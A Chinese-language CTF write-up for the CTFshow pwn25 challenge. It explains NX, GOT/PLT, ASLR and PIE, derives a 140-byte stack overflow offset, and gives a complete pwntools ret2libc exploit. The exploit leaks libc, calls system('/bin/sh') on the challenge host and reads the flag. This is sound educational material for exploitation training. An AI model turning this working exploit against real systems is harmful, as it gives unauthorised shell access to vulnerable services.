[ pwn 学习 ] CTFshow-pwn25 ret2libc(NX 绕过)
2026-08-22 20:36:38

1. 前置知识

![Pasted image 20260801141828](Pasted image 20260801141828.png)

1.1 什么是 NX 保护?

NX 关闭 (pwn24 NX 开启 (本题)
栈的性质 可读 + 可写 + 可执行 可读 + 可写 + 不可执行
攻击方式 把 shellcode 写到栈上,直接跳过去执行 无法执行栈上的代码
类比 一张纸既能写字,也能折成飞机飞出去 一块写字板——只能写字,不能当发动机用

NX (No-eXecute) 是 CPU 硬件级别的保护:通过内存管理单元(MMU),将内存页标记为”数据区”或”代码区”
1.数据区:只能读写 不能执行
2.代码区:可以执行
栈被标记为数据区,CPU 如果尝试执行栈上的指令,硬件直接拒绝并报 Segmentation Fault

一句话总结: NX 开启后,你不能运行自己注入的代码(不能自己写shellcode了)——必须利用程序已有的代码(libc 库函数)

1.2 什么是 ret2libc?

ret2libc = Return-to-Libc,即”返回到 libc 库函数”。
让程序不返回到main函数,而是返回到libc里的system函数

1
2
3
4
5
6
7
8
┌──────────────────────────────────────────────────┐
│ 传统栈溢出 (NX关闭): │
│ 注入 shellcode → 跳到栈上执行 → get shell │
├──────────────────────────────────────────────────┤
│ ret2libc (NX开启): │
│ 泄露 libc 地址 → 计算 system() 位置 │
│ → 跳转到 system("/bin/sh") → get shell │
└──────────────────────────────────────────────────┘

核心逻辑:libc(Linux 的 C 标准库)本身就包含 system()execve() 等危险函数,且 libc 的代码段是可执行的。我们不需要自己写代码,只需要:

  1. 知道 libc 加载到内存的哪个位置(基址)
  2. 跳过去执行其中的 system("/bin/sh")

1.3 什么是 GOT/PLT?

这是理解”泄露地址”的关键。
分三层讲。

第一层:问题是什么

你的程序要调用puts 但是puts的代码在libc文件里 libc每次加载的位置随机编号 程序怎么知道puts今天在哪

第二层:怎么解决的

程序用了两个东西:

1
2
PLT(程序里固定的一块代码):这是"跳板",地址永远不变
GOT(程序里固定的一块内存):这是"记事本",里面写着 puts 今天的真实地址

第三层:调用过程

1
程序想用 puts → 先去 PLT → PLT 去 GOT 看记事本 → GOT 上写着 puts 今天的地址 → 跳过去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
程序调用 puts("hello")


PLT 表 (Procedure Linkage Table)
程序的"跳板"——位于可执行文件中
地址固定 (PIE关闭时)
puts@plt = 0x08048390 ← 固定不变


GOT 表 (Global Offset Table)
存放 puts 在 libc 中的"真实地址"
地址可写,运行时被动态链接器填写
puts@got = 0x0804a010 → 里面存着 0xf7e2cXXX (变!)


libc 中的真实 puts 函数
地址 = libc基址 + puts偏移
每次运行 libc 基址可能不同 (ASLR)

关键理解: puts@plt 是固定的跳板地址,puts@got 里存的是 libc 中 puts 的真实运行时地址。我们通过 puts(puts@GOT) 把这个真实地址打印出来,从而计算出 libc 基址。

一个比喻:

  • GOT 表就像”快递柜”——里面存的是函数的真实门牌号
  • PLT 表是”取件码”——程序通过固定的 PLT 地址去 GOT 柜子里拿真实地址
  • 我们攻击者的目标是:窥探快递柜里的门牌号(leak GOT),从而推算整栋楼(libc)的位置

1.4 什么是 ASLR?


ASLR让 libc 每次加载的基址都不同。

1
2
3
第1次运行: libc 基址 = 0xf7d55000
第2次运行: libc 基址 = 0xf7d97000 ← 不同!
第3次运行: libc 基址 = 0xf7e12000 ← 又不同!

但是!函数间的相对偏移是固定的

1
2
system 在 libc 文件中的偏移 = 0x3ce10 (始终不变)
/bin/sh 在 libc 文件中的偏移 = 0x17b88f (始终不变)

所以攻击流程是:

1
2
3
泄露 puts 真实地址 → 减去 puts 在文件中的偏移 → 得到 libc 基址
libc基址 + system偏移 → system() 真实地址
libc基址 + /bin/sh偏移 → "/bin/sh" 字符串真实地址

1.5 什么是 PIE?

PIE也是一种ASLR 用来保护程序自身
PIE管程序自己的地址变不变 本题关闭→固定不变
ASLR管libc的地址变不变 本题开启→每次随机

PIE 关闭 PIE 开启
程序本身地址 固定 (如 main = 0x0804862d) 每次随机变化
GOT/PLT 地址 固定不变 需要先泄露程序基址

本题中 PIE 是关闭的,所以 puts@pltmainputs@got 这些地址都是绝对固定的,我们的第一跳就已经知道目标。

2. 题目分析

2.1 安全保护

1
$ checksec pwn25

![Pasted image 20260801210604](Pasted image 20260801210604.png)

保护机制 状态 含义
RELRO Partial GOT 表可写 (我们可以泄露它)
Stack Canary Disabled 无栈金丝雀,溢出不会被检测
NX Enabled 栈不可执行 → 不能用 shellcode
PIE Disabled 程序地址固定 → PLT/GOT 地址已知

结论: NX 开启了但 PIE 没开,完美的 ret2libc 目标!

2.3 反编译

main 函数:

1
2
3
4
5
6
7
8
unsigned int main(void) {
setvbuf(stdin, NULL, 1, 0); // 关闭 stdin 缓冲
setvbuf(stdout, NULL, 2, 0); // 关闭 stdout 缓冲
ctfshow(); // ← 漏洞函数!
logo(); // 打印 banner
write(0, "Hello CTFshow!\n", 14);
return 0;
}

ctfshow 函数 (漏洞点):

1
2
3
4
5
int ctfshow(void) {
char buf; // [bp - 0x88] ← 只有 0x88 = 136 字节的缓冲区
read(0, &buf, 0x100); // ← 却读取 0x100 = 256 字节!
return;
}

反汇编确认:

1
objdump -d pwn25 | grep -A 20 "<ctfshow>:"

![Pasted image 20260801210814](Pasted image 20260801210814.png)
漏洞本质: 缓冲区只有 0x88 (136) 字节,却允许写入 0x100 (256) 字节——多出 120 字节 可以覆盖栈上的关键数据。

2.4 关键地址速查表

符号 地址 用途
puts@plt 0x08048390 调用 puts 的跳板
puts@got 0x0804a010 存放 puts 真实地址
read@plt 0x08048380 调用 read 的跳板
write@plt 0x080483b0 调用 write 的跳板
main 0x0804862d main 函数入口
ctfshow 0x080484f6 漏洞函数

3. 偏移量计算

偏移量 (Offset): 从缓冲区起始位置到函数返回地址之间需要填充的字节数。

3.1 栈帧结构 (ctfshow 函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
        高地址
┌──────────────────┐
│ main 的局部变量 │
├──────────────────┤
│ main 的栈帧 │
├──────────────────┤
ebp+4 │ 返回地址 (RET) │ ← 我们要控制这里!
ebp │ 旧的 ebp (SAVED) │ ← ctfshow 保存的 main 的 ebp
ebp-4 │ 保存的 ebx │
├──────────────────┤
│ │
│ buf 缓冲区 │ 大小: 0x84 = 132 字节
│ (起始 ebp-0x88) │
│ │
esp └──────────────────┘
低地址

3.2 手动计算

1
2
3
4
5
6
7
buf 起始地址:  ebp - 0x88
返回地址位置: ebp + 0x04

偏移量 = (ebp + 0x04) - (ebp - 0x88)
= 0x04 + 0x88
= 0x8C
= 140 字节

验证:用 IDA 查看 ctfshow 的栈帧视图:

1
2
3
4
-00000088  buf          ← 缓冲区起始
...
+00000000 s (saved ebp) ← 保存的 ebp
+00000004 r (return) ← 返回地址

0x88 + 0x04 = 0x8C = 140

3.3 用 GDB + Cyclic 验证(推荐方法)

如果你不确定偏移量,用这个万无一失的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 终端 1: 生成 200 字节的"特征字符串"
cyclic 200 > pattern

# 终端 2: 用 GDB 调试
gdb ./pwn25
(gdb) run < pattern

# 程序崩溃! 查看 EIP 的值
(gdb) info register eip
eip 0x6261616b ← 取这个值

# 退出 GDB, 查询这是第几个字节
(gdb) quit
$ cyclic -l 0x6261616b
140 ← 偏移量就是 140!

cyclic 原理: pattern 中任意连续的 4 字节都是唯一的(德布勒因序列),所以看到 EIP 的值就能反推出它在序列中的位置。

4. 漏洞利用思路

4.1 两步走战略

1
2
3
4
5
6
7
8
9
┌─────────────────────────────────────────────────┐
│ Stage 1: 泄露 (Leak) │
│ puts(puts@GOT) → 打印 puts 真实地址 │
│ → 返回 main → 等待第二次输入 │
├─────────────────────────────────────────────────┤
│ Stage 2: 攻击 (Exploit) │
│ 计算 libc 基址 → system("/bin/sh") │
│ → get shell → cat /flag │
└─────────────────────────────────────────────────┘

4.2 Stage 1: 泄露 libc 地址

Payload 1 构造:

1
2
3
4
5
6
[140 字节垃圾数据] [puts@plt] [main] [puts@GOT]
│ │ │ │
│ │ │ └─ puts 的参数
│ │ └─ puts 执行完后回到 main
│ └─ 覆盖返回地址,跳转到 puts
└─ 填满缓冲区直到返回地址

执行流程:

1
2
3
4
5
6
1. ctfshow() 返回时, EIP = puts@plt
2. puts 从栈上取参数 = puts@GOT 的地址
3. puts 打印 puts@GOT 中存储的 libc 真实地址
4. puts 返回, EIP = main
5. main 重新运行, 再次调用 ctfshow
6. ctfshow 的 read() 等待我们的第二次输入 ← 这就是 Stage 2

4.3 Stage 2: 执行 system(“/bin/sh”)

拿到 puts 的真实地址后:

1
2
3
4
5
6
7
8
9
# 用 libc.rip API 自动匹配 libc 版本, 获取偏移量
puts_offset = 0x67b90 # 举例: libc 2.31 下的 puts 偏移
system_offset = 0x3ce10 # system 的偏移
binsh_offset = 0x17b88f # "/bin/sh" 字符串的偏移

# 计算
libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

Payload 2 构造:

1
2
3
4
5
6
[140 字节垃圾数据] [system_addr] [0x41414141] [binsh_addr]
│ │ │ │
│ │ │ └─ system 的参数 ("/bin/sh")
│ │ └─ system 的返回地址 (随意填)
│ └─ 覆盖返回地址,跳转到 system
└─ 再次填满缓冲区

执行流程:

1
2
3
4
1. ctfshow() 返回时, EIP = system_addr
2. system 从栈上取参数 = binsh_addr ("/bin/sh" 的地址)
3. system("/bin/sh") 执行
4. 弹出一个 shell! 🎉

5. 两个关键问题

Q1: 为什么 Stage 1 返回 main 而不是 ctfshow

返回 main 更安全:

  • main 会重新执行 setvbuf → 重新初始化 IO,状态更干净
  • ctfshow 直接返回会让栈上残留第一次的 payload 数据,可能影响第二次 read 的定位

实际测试中两者都能工作,但 main 是推荐做法

Q2: 为什么需要 ret gadget?

在某些 libc 版本中,system() 内部使用了 movaps 指令,这要求栈地址 16 字节对齐。如果不对齐,程序会崩溃。

1
2
3
4
# 不加 ret: esp & 0xf == 0xC (不对齐)
# 加 ret: esp & 0xf == 0x0 (对齐 ✓)
payload = b'A'*140 + ret_gadget + system_addr + p32(0) + binsh_addr
# ↑ 这一个 ret 让栈指针移 4 字节, 变成 16 字节对齐

如果去掉 ret_gadget 后程序崩溃(SIGSEGV at movaps),说明需要加上。


6. 完整 Exploit 脚本

将以下代码保存为 exploit.py,在 Ubuntu 虚拟机中运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
pwn25 - ret2libc Exploit (32-bit ELF, NX enabled, no PIE)
Target: pwn.challenge.ctf.show 28204

漏洞: ctfshow() → read(0, buf, 0x100) 栈溢出 (buf 仅 0x88 字节)
利用: 泄露 puts@GOT → 匹配 libc → system("/bin/sh")
"""

from pwn import *

context.arch = 'i386'
context.log_level = 'info'

# ===== 二进制固定地址 (无PIE, 32位) =====
PUTS_PLT = 0x08048390 # puts 的 PLT 入口
PUTS_GOT = 0x0804a010 # puts 的 GOT 表项
MAIN = 0x0804862d # main 函数入口

# 栈布局 (ctfshow 函数):
# buf 起始: ebp - 0x88
# 返回地址: ebp + 0x04
# 溢出偏移 = 0x88 + 4 = 0x8c = 140 bytes
OFFSET = 0x8c


def resolve_libc(puts_addr):
"""
通过 libc.rip 在线 API 自动识别 libc 版本
返回 (puts_offset, system_offset, str_bin_sh_offset) 或 None
"""
# 方法1: libc.rip API (首选, 精确匹配)
try:
import requests
resp = requests.post(
"https://libc.rip/api/find",
json={"symbols": {"puts": hex(puts_addr)[2:]}},
timeout=15
)
if resp.status_code == 200 and resp.json():
libc = resp.json()[0]
name = libc.get('id', 'unknown')
sym = libc['symbols']
log.success(f"libc.rip 匹配: {name}")
return (
int(sym['puts'], 16),
int(sym['system'], 16),
int(sym['str_bin_sh'], 16),
)
except Exception as e:
log.warning(f"libc.rip API 异常: {e}")

# 方法2: 本地候选 libc 库 (按页面对齐原则匹配)
log.info("尝试本地候选 libc 版本...")
candidates = [
('libc6_2.35-0ubuntu3.8_i386', 0x78a40, 0x45770, 0x1bd0d5),
('libc6_2.31-0ubuntu9.16_i386', 0x67b90, 0x3ce10, 0x17b88f),
('libc6_2.39-0ubuntu8.2_i386', 0x7cf80, 0x46a80, 0x1f5eaf),
('libc6_2.27-3ubuntu1.6_i386', 0x5fca0, 0x3a950, 0x15b82f),
('libc6_2.23-0ubuntu11.3_i386', 0x5f140, 0x3a940, 0x15902b),
('libc6_2.37-0ubuntu2_i386', 0x74420, 0x3a960, 0x1b30a5),
]
for name, po, so, bo in candidates:
base = puts_addr - po
# libc 基址必须页面对齐 (末12位=0), 且在合理范围
if base & 0xfff == 0 and 0x100000 < base < 0xf0000000:
log.success(f"本地匹配: {name}")
return (po, so, bo)

return None


def exploit():
# ======== 连接靶机 ========
r = remote('pwn.challenge.ctf.show', 28204)

# ======== Stage 1: 泄露 puts 地址 ========
# ROP 链: padding + puts@plt + main + puts@GOT
# 效果: puts(puts@GOT) → 打印 puts 真实地址 → 返回 main 重新开始
payload1 = b'A' * OFFSET
payload1 += p32(PUTS_PLT) # 返回地址 → puts@plt
payload1 += p32(MAIN) # puts 返回后 → 回到 main (二次溢出)
payload1 += p32(PUTS_GOT) # puts 的参数

log.info(f"[Stage 1] 发送 {len(payload1)} 字节, 泄露 libc 地址")
r.send(payload1)

# 接收泄露: puts 打印 GOT 中的真实地址 (直到遇到 \x00)
data = r.recvline(timeout=10)
if not data:
log.warning("recvline 为空, 尝试 recv()...")
data = r.recv(timeout=5)
data = data.rstrip(b'\n')
puts_addr = u32(data[:4].ljust(4, b'\x00'))

log.success(f"puts@libc = {hex(puts_addr)} (低12位: {hex(puts_addr & 0xfff)})")

# ======== 匹配 libc 版本 ========
result = resolve_libc(puts_addr)
if result is None:
log.error("无法匹配 libc 版本!")
log.info(f"请手动将 puts 地址 {hex(puts_addr)} 提交到 https://libc.rip/ 查询")
r.close()
return

puts_off, system_off, binsh_off = result
libc_base = puts_addr - puts_off
system_addr = libc_base + system_off
binsh_addr = libc_base + binsh_off

log.info(f"libc 基址: {hex(libc_base)}")
log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")

# ======== Stage 2: system("/bin/sh") ========
payload2 = b'B' * OFFSET
payload2 += p32(system_addr) # 返回地址 → system()
payload2 += p32(0x41414141) # system 的返回地址 (dummy)
payload2 += p32(binsh_addr) # system 的参数

log.info(f"[Stage 2] 发送 {len(payload2)} 字节 → system('/bin/sh')")
r.send(payload2)
sleep(0.3)

# 获取 flag
r.sendline(b'cat /flag 2>/dev/null; cat flag 2>/dev/null; cat /flag* 2>/dev/null')
r.sendline(b'id')
sleep(0.5)

try:
out = r.recv(timeout=3)
log.success(f"输出:\n{out.decode(errors='ignore')}")
except:
pass

log.info("进入交互 shell...")
r.interactive()


if __name__ == '__main__':
exploit()

7. 逐行 Payload 讲解

以下用详细的注释,一步步解释每行代码在做什么。

7.1 Stage 1 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
payload1  = b'A' * OFFSET        # OFFSET = 140
# [0~139 字节]: 全是 'A' (0x41)
# 作用: 填满 buf (136字节) + saved_ebx (4字节) + saved_ebp (4字节)
# 一直填到"返回地址"的位置之前

payload1 += p32(PUTS_PLT) # p32() 把整数转成 4 字节小端序
# [140~143 字节]: 0x90 0x83 0x04 0x08 → puts@plt 地址
# 作用: 覆盖"返回地址",让 CPU 跳到 puts 函数

payload1 += p32(MAIN)
# [144~147 字节]: 0x2d 0x86 0x04 0x08 → main 地址
# 作用: puts 执行完后的"返回地址"
# puts 会返回到 main,让程序重新开始

payload1 += p32(PUTS_GOT)
# [148~151 字节]: 0x10 0xa0 0x04 0x08 → puts@GOT 地址
# 作用: puts 的"参数"
# 在 32 位 x86 中,函数参数在返回地址的上方(高地址方向)
# puts 会读取这个地址里的值(即 puts 的 libc 真实地址)并打印

栈上数据排列(从低地址到高地址):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
低地址 ← 写入方向
┌──────────────────────┐
│ b'AAAA...' (140字节) │ ← 填充 buf + saved ebx + saved ebp
├──────────────────────┤
│ 0x08048390 (4字节) │ ← 覆盖返回地址 → puts@plt
├──────────────────────┤
│ 0x0804862d (4字节) │ ← puts 的返回地址 → main
├──────────────────────┤
│ 0x0804a010 (4字节) │ ← puts 的参数 → puts@GOT
└──────────────────────┘
高地址

栈增长方向 ←
参数压栈方向 →

7.2 Stage 2 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload2  = b'B' * OFFSET        # 再次填充 140 字节
# 作用和 Stage1 一样:填满缓冲区到返回地址

payload2 += p32(system_addr)
# [140~143 字节]: system() 的真实地址 (如 0xf7d1ce10)
# 作用: 覆盖返回地址 → system()

payload2 += p32(0x41414141)
# [144~147 字节]: 0x41 0x41 0x41 0x41 (dummy)
# 作用: system 执行完后的"返回地址"
# 我们拿到 shell 就行了,不用管它回哪去
# 随便填 4 个字节,别留空就行

payload2 += p32(binsh_addr)
# [148~151 字节]: "/bin/sh" 字符串的地址
# 作用: system 的参数
# system 从栈上取第一个参数,发现是 "/bin/sh" 的指针
# 效果等同于 system("/bin/sh")

7.3 为什么要用 p32()

1
2
>>> p32(0x08048390)   # 把整数转成 4 字节小端序
b'\x90\x83\x04\x08' # 0x08048390 在内存中的样子

p32 = pack 32-bit。因为 x86 是小端序(低位字节在低地址),所以 0x08048390 在内存中存储为 90 83 04 08

记忆口诀: “高高低低” → 高位放高地址,低位放低地址。数字 0x08048390 的最低位是 90,它放在最小的地址处。


8. 运行结果

8.1 环境准备 (Ubuntu 虚拟机)

1
2
3
4
5
6
7
8
# 1. 安装 pwntools
pip install pwntools

# 2. (可选) 如果 libc.rip API 不通, 安装 requests
pip install requests

# 3. 运行 exploit
python exploit.py

8.2 预期输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[+] Opening connection to pwn.challenge.ctf.show on port 28204: Done
[*] [Stage 1] 发送 152 字节, 泄露 libc 地址
[+] puts@libc = 0xf7dce690 (低12位: 0x690)
[+] libc.rip 匹配: libc6_2.31-0ubuntu9.16_i386
[*] libc 基址: 0xf7d57000
[*] system: 0xf7d93e10
[*] /bin/sh: 0xf7ed388f
[*] [Stage 2] 发送 152 字节 → system('/bin/sh')
[+] 输出:
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
ctfshow{xxxxxxxxxxxxxxxxxxxx} ← FLAG 在这里!

[*] 进入交互 shell...
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$

8.3 手动获取 Flag

拿到 shell 后可以输入:

1
2
3
4
5
cat /flag
cat /flag.txt
cat flag
ls -la /
find / -name "flag*" 2>/dev/null

9. 总结与拓展

9.1 攻击流程回顾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──────────────────────────────────────────────┐
│ 1. 信息收集 │
│ file + checksec → 32位 / NX开 / PIE关 │
│ │
│ 2. 逆向分析 │
│ IDA/Ghidra → 发现 read(0, buf, 0x100) 溢出 │
│ │
│ 3. 计算偏移 │
│ IDA 栈帧: 0x88 + 4 = 140 │
│ (或 GDB + cyclic 验证) │
│ │
│ 4. Stage 1: 泄露 │
│ puts(puts@GOT) → 得到 libc 地址 │
│ │
│ 5. 匹配 libc │
│ libc.rip API / 本地候选库 │
│ │
│ 6. Stage 2: 攻击 │
│ system("/bin/sh") → get shell! │
└──────────────────────────────────────────────┘

9.2 常见问题排查

问题 可能原因 解决方法
泄露地址为空 puts 在 \x00 处截断了 检查 recvline 是否正确去掉了 \n
Stage 2 崩溃 libc 版本不匹配 把泄露地址提交到 libc.rip 精确查找
movaps 崩溃 栈未 16 字节对齐 ret_gadget 前导
连接超时 网络问题 / 靶机挂了 检查 VPN/代理, 等几分钟重试

9.3 进阶思考

  1. 如果 PIE 也开了怎么办?
    — 需要先泄露程序基址 (如 __libc_csu_init 的地址),然后计算所有 GOT/PLT 地址。

  2. 如果开了 Full RELRO?
    — GOT 表不可写,不能用 GOT 覆写技巧,但仍可以泄露(GOT 内容是初始化时就写好的)。

  3. 64 位程序的区别?
    — 前 6 个参数通过寄存器传递 (rdi, rsi, rdx, rcx, r8, r9),需要 pop rdi; ret 等 ROP gadget。

  4. one_gadget 替代方案?
    — 某些 libc 版本中存在”一键 get shell”的魔法地址(one_gadget),直接跳到那个地址就能 execve("/bin/sh"),无需构造参数

9.4 推荐学习路径

1
2
3
4
5
6
7
8
9
10
11
pwn24 (无NX, shellcode注入)[pwn24](/posts/ctfshow-pwn24/)

pwn25 ← 你现在在这里 (NX开启, ret2libc)pwn25 ret2libc 栈溢出利用 (NX 绕过)

pwn26+ (Canary绕过 + ret2libc)

64位 ret2libc (ROP gadget 链)

格式化字符串 + GOT覆写

堆漏洞 (Heap Exploitation)

相关笔记

前置基础

  • pwn0strcpy / read 溢出原理
  • pwn1checksec 安全机制(NX/PIE/RELRO/Canary)
  • pwn23 — 栈溢出 + 信号劫持(更简单的溢出利用)
  • pwn24 — NX 禁用下的 shellcode 注入(对比学习)

RELRO / GOT 系列

  • pwn20 — No RELRO + GOT 劫持
  • pwn21 — Partial RELRO + .got.plt 可写
  • pwn22 — Full RELRO + GOT 覆写不可行

ASLR

  • pwn26 ASLR地址空间布局随机化 — ASLR 原理与配置
  • pwn27 — ASLR=1 实战
上一页
2026-08-22 20:36:38
下一页